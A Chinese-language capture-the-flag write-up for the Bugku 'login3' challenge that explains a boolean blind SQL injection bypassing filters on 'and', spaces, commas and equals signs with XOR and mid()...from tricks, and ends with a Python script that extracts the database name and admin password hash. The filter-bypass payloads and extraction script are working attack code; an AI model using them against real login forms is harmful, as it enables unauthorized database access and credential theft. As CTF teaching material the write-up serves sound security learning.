BugKu--login3(SKCTF)

Bugku的一道题目,用到了布尔盲注,还过滤了and关键字,这里用到了^(按位异或运算),正好记录下过程和方法。总体写的有点啰嗦,但是我不想让跟我一样入门的小白看教程看到一脸懵逼。

题目地址:http://118.89.219.210:49167/index.php

随便输入了几个用户名,返回用户名不存在,并没有对密码进行检验。

那我们可以猜测是先查找用户名,如果存在,再验证密码。


那下一步呢,我试了试admin用户名,结果是存在的,返回密码错误


这就验证了我们的猜想,那现在注入点应该就是用户名了。

然后试试在admin后加上单引号,但是返回是用户名不存在

这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,

也就不能使用报错注入了,我们发现有两种返回信息:

username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

毕竟我也是第一次接触到这种布尔型盲注,也当是小白扫盲吧,怎么利用啰嗦几句。

我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:

select password,username from users where username=”我们输入的用户名”

如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。

但是这道题过滤了and!!!

尝试加上and返回:

经过尝试发现还过滤了空格,逗号,等号,for

空格用括号代替,等号用<>(一种不等号)代替

那怎么办呢,这就用上了今天介绍的异或运算^,先说一下基本规则:

1^1=0    1^0=1   0^0=0

就是说只有两个不同的布尔值运算结果为1,其他为零

不过在这里用的时候先不要按这个规则去推,因为在我们用到的三个值的布尔运算的sql语句中完全相反,我还没有搞明白,谁懂得话,给我评论下。

首先说下这里我们要补上两个布尔值,这个最后再说为什么。

先猜数据库名,基本语句

admin’^(ascii(mid(database()from(1)))<>97)^0#


解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0

返回值是username does not exist!

如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0

返回值会是password error!

这就构成了布尔报错注入。

有人可能疑问大部分的判断都是无用的,就是说可能从97尝试到120都是username does not exist!,那如何快速找到语句成立时的返回结果(password error!)。这里就是最后^0的妙用了,

因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。

补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。

就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!

数据库名最后可以得到是:blindsql

 

下一步猜表名,表名好像没法暴力猜,因为关键词information被禁了!!!!那数据库名就没用了,哈哈哈,不过后面猜字段的值是一样的原理,不亏不亏。

没法用系统表,就不能像上面一样爆破了,真的是猜了,是admin表,语句如下

admin’^(select(1)from(admin))^1#   返回password error!说明猜对了

猜字段   admin’^(select(count(password))from(admin))^1#  返回password error!说明猜对了。

为什么要用count()呢,因为如果有多行数据也可能会报错,会干扰判断。

然后猜password的值,暴力猜解,与猜数据库类似:

admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陆,得到flag


转载指明出处

文章同步到我的博客:http://119.23.249.120/archives/286

最后附上脚本

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://118.89.219.210:49167/index.php"
r=requests.session()

def databasere():
    resutlt=""
    for i in range(30):
        fla = 0
        for j in str_all:
            playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                print(resutlt)
            if fla == 0:
                break

def password():
    resutlt=""
    for i in range(40):
        fla=0
        for j in str_all:
            playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                fla=1
                print('**************************',resutlt)
        if fla==0:
            break
#databasere()
password()

没有更多推荐了,返回首页